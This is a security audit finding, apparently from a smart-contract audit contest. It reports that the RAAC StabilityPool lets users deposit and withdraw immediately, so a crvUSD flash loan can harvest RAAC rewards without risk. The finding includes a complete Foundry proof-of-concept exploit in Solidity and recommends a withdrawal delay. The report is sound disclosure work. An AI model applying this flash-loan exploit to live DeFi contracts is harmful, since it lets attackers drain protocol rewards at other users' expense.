Description:
The `StabilityPool:withdraw` function does not enforce a minimum lock-up period between deposit and withdrawal And flawed formula calculating rewards, allows a user to exploit the system using a `crvUSD flash loan` from the Curve `FlashLender contract` as follows:
1. Take a `crvUSD` flash loan.
2. `Deposit` the borrowed crvUSD in the `LendingPool` via `LendingPool:deposit`, receiving `rTokens`.
3. Deposit the `rTokens` into the StabilityPool, receiving `deTokens`.
4. Withdraw the `rTokens` immediately from the `StabilityPool` using `StabilityPool:withdraw`, burning `deTokens` and claiming RAAC rewards.
5. Withdraw the `crvUSD` from the LendingPool, burning the `rTokens`.
6. `Repay` the flash loan using the `crvUSD` received and paying `fees`.
This sequence allows an attacker to earn RAAC rewards instantly, without any initial investment or risk.
Impact:
An attacker can immediately harvest RAAC rewards whit minimal initial investment (to pay flashLoan fees) and without incurring any financial risk.
Proof of Concept:
<details><summary>Proof of Code</summary>
**Here are the steps to run the Foundry PoC:**
1. Open the `linux terminal`, `wsl` in windows.
2. `nomicfoundation` installation:
- If you have `npm` installed run this command:
- `npm install --save-dev @nomicfoundation/hardhat-foundry`
- If you have `yarn` installed run this command:
- `yarn add --dev @nomicfoundation/hardhat-foundry`
- If you have `pnpm` installed run this command:
- `pnpm add --save-dev @nomicfoundation/hardhat-foundry`
3. open the `hardhat.config.cjs`
- Paste this at the begining of the code:
- `require("@nomicfoundation/hardhat-foundry");`
4. run `npx hardhat init-foundry`
- This task will create a `foundry.toml` file with the right configuration and install `forge-std`
5. In the `test/` folder create a new folder called `ProofOfCodes`
6. In this `test/ProofOfCodes` folder create a new file and paste the following code
7. To run the test you should run `forge test --mt test_canGetRaacTokenWithoutAnyInversionAndTimeWait -vvvv`
```solidity
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import {Test,console2} from "lib/forge-std/src/Test.sol";
import {DebtToken} from "contracts/core/tokens/DebtToken.sol";
import {LendingPool} from "contracts/core/pools/LendingPool/LendingPool.sol";
import {StabilityPool} from "contracts/core/pools/StabilityPool/StabilityPool.sol";
import {RAACMinter} from "contracts/core/minters/RAACMinter/RAACMinter.sol";
import {RAACToken} from "contracts/core/tokens/RAACToken.sol";
import {DEToken} from "contracts/core/tokens/DEToken.sol";
import {RToken} from "contracts/core/tokens/RToken.sol";
import {RAACNFT} from "contracts/core/tokens/RAACNFT.sol";
import {RAACHousePrices} from "contracts/core/primitives/RAACHousePrices.sol";
import {ERC20Mock, ERC20} from "contracts/mocks/core/tokens/ERC20Mock.sol";
contract StabilityPoolPoc is Test {
StabilityPool stabilityPool;
RAACMinter raacMinter;
RAACToken raacToken;
ERC20Mock crvUsdMock;
RToken rToken;
RAACHousePrices housePrices;
RAACNFT raacNft;
LendingPool reservePool;
DebtToken debtToken;
DEToken deToken;
CrvUSDFlashLoanMock flashLoaner;
address initialOwner = makeAddr("initalOwner");
address reciver = makeAddr("reciver");
address attacker = makeAddr("attacker");
function setUp() external {
vm.roll(block.number + 100);
vm.warp(block.timestamp + 10 days);
crvUsdMock = new ERC20Mock("crv", "crv");
housePrices = new RAACHousePrices(initialOwner);
raacNft = new RAACNFT(address(crvUsdMock), address(housePrices), initialOwner);
debtToken = new DebtToken("DebtToken", "DT", initialOwner);
rToken = new RToken("RToken", "RT", initialOwner, address(crvUsdMock));
reservePool = new LendingPool(address(crvUsdMock), address(rToken), address(debtToken), address(raacNft), address(housePrices), 1);
stabilityPool = new StabilityPool(initialOwner);
raacToken = new RAACToken(initialOwner, 0, 0);
raacMinter = new RAACMinter(address(raacToken), address(stabilityPool), address(reservePool), initialOwner);
deToken = new DEToken("DEToken", "DET", initialOwner, address(rToken));
flashLoaner = new CrvUSDFlashLoanMock(address(crvUsdMock), address(this), attacker);
vm.startPrank(initialOwner);
raacToken.setMinter(address(raacMinter));
raacMinter.setStabilityPool(address(stabilityPool));
rToken.setReservePool(address(reservePool));
stabilityPool.initialize(address(rToken),address(deToken), address(raacToken), address(raacMinter), address(crvUsdMock), address(reservePool));
deToken.setStabilityPool(address(stabilityPool));
vm.stopPrank();
}
function test_canGetRaacTokenWithoutAnyInversionAndTimeWait() external {
deal(address(raacToken),address(stabilityPool) ,50e18);
deal(address(deToken),address(stabilityPool) ,50e18);
deal(address(crvUsdMock), attacker, 1e16); //Initial balance of the attacker, simulating fees
//Simulate the flashLoan
assertEq(raacToken.balanceOf(attacker), 0);
assertEq(crvUsdMock.balanceOf(attacker), 1e16);
flashLoaner.getAFlashLoan();
assert(raacToken.balanceOf(attacker) > 0);
assertEq(crvUsdMock.balanceOf(attacker), 0);
console2.log("earnings: ",raacToken.balanceOf(attacker));
}
function attack() external {
vm.startPrank(attacker);
crvUsdMock.approve(address(reservePool), 10e18);
reservePool.deposit(10e18);
vm.stopPrank();
vm.startPrank(attacker);
rToken.approve(address(stabilityPool), 10e18);
stabilityPool.deposit(10e18);
vm.stopPrank();
vm.prank(attacker);
stabilityPool.withdraw(10e18);
vm.startPrank(attacker);
reservePool.withdraw(10e18);
vm.stopPrank();
console2.log("Raac balance ", raacToken.balanceOf(attacker));
console2.log("crvUsdMock balance ", crvUsdMock.balanceOf(attacker));
vm.prank(attacker);
crvUsdMock.transfer(address(flashLoaner), 10e18 + 1e16);
}
}
contract CrvUSDFlashLoanMock {
ERC20Mock crvUsd;
StabilityPoolPoc executor;
address flashLoanReciver;
uint256 fees = 1e16;
constructor (address _crvUsd, address _executor, address _flashLoanReciver) {
crvUsd = ERC20Mock(_crvUsd);
crvUsd.mint(address(this), 10e18);
executor = StabilityPoolPoc(_executor);
flashLoanReciver = _flashLoanReciver;
}
function getAFlashLoan() external {
crvUsd.transfer(flashLoanReciver, 10e18);
executor.attack();
require(crvUsd.balanceOf(address(this)) == 10e18 + 1e16, "Flashloan didn't repaied");
}
}
```
</details>
Recommended Mitigation:
Introduce a delay between the user's deposit and the moment they are allowed to withdraw. This measure helps prevent potential exploitation by ensuring that funds remain locked for a predefined period before becoming accessible.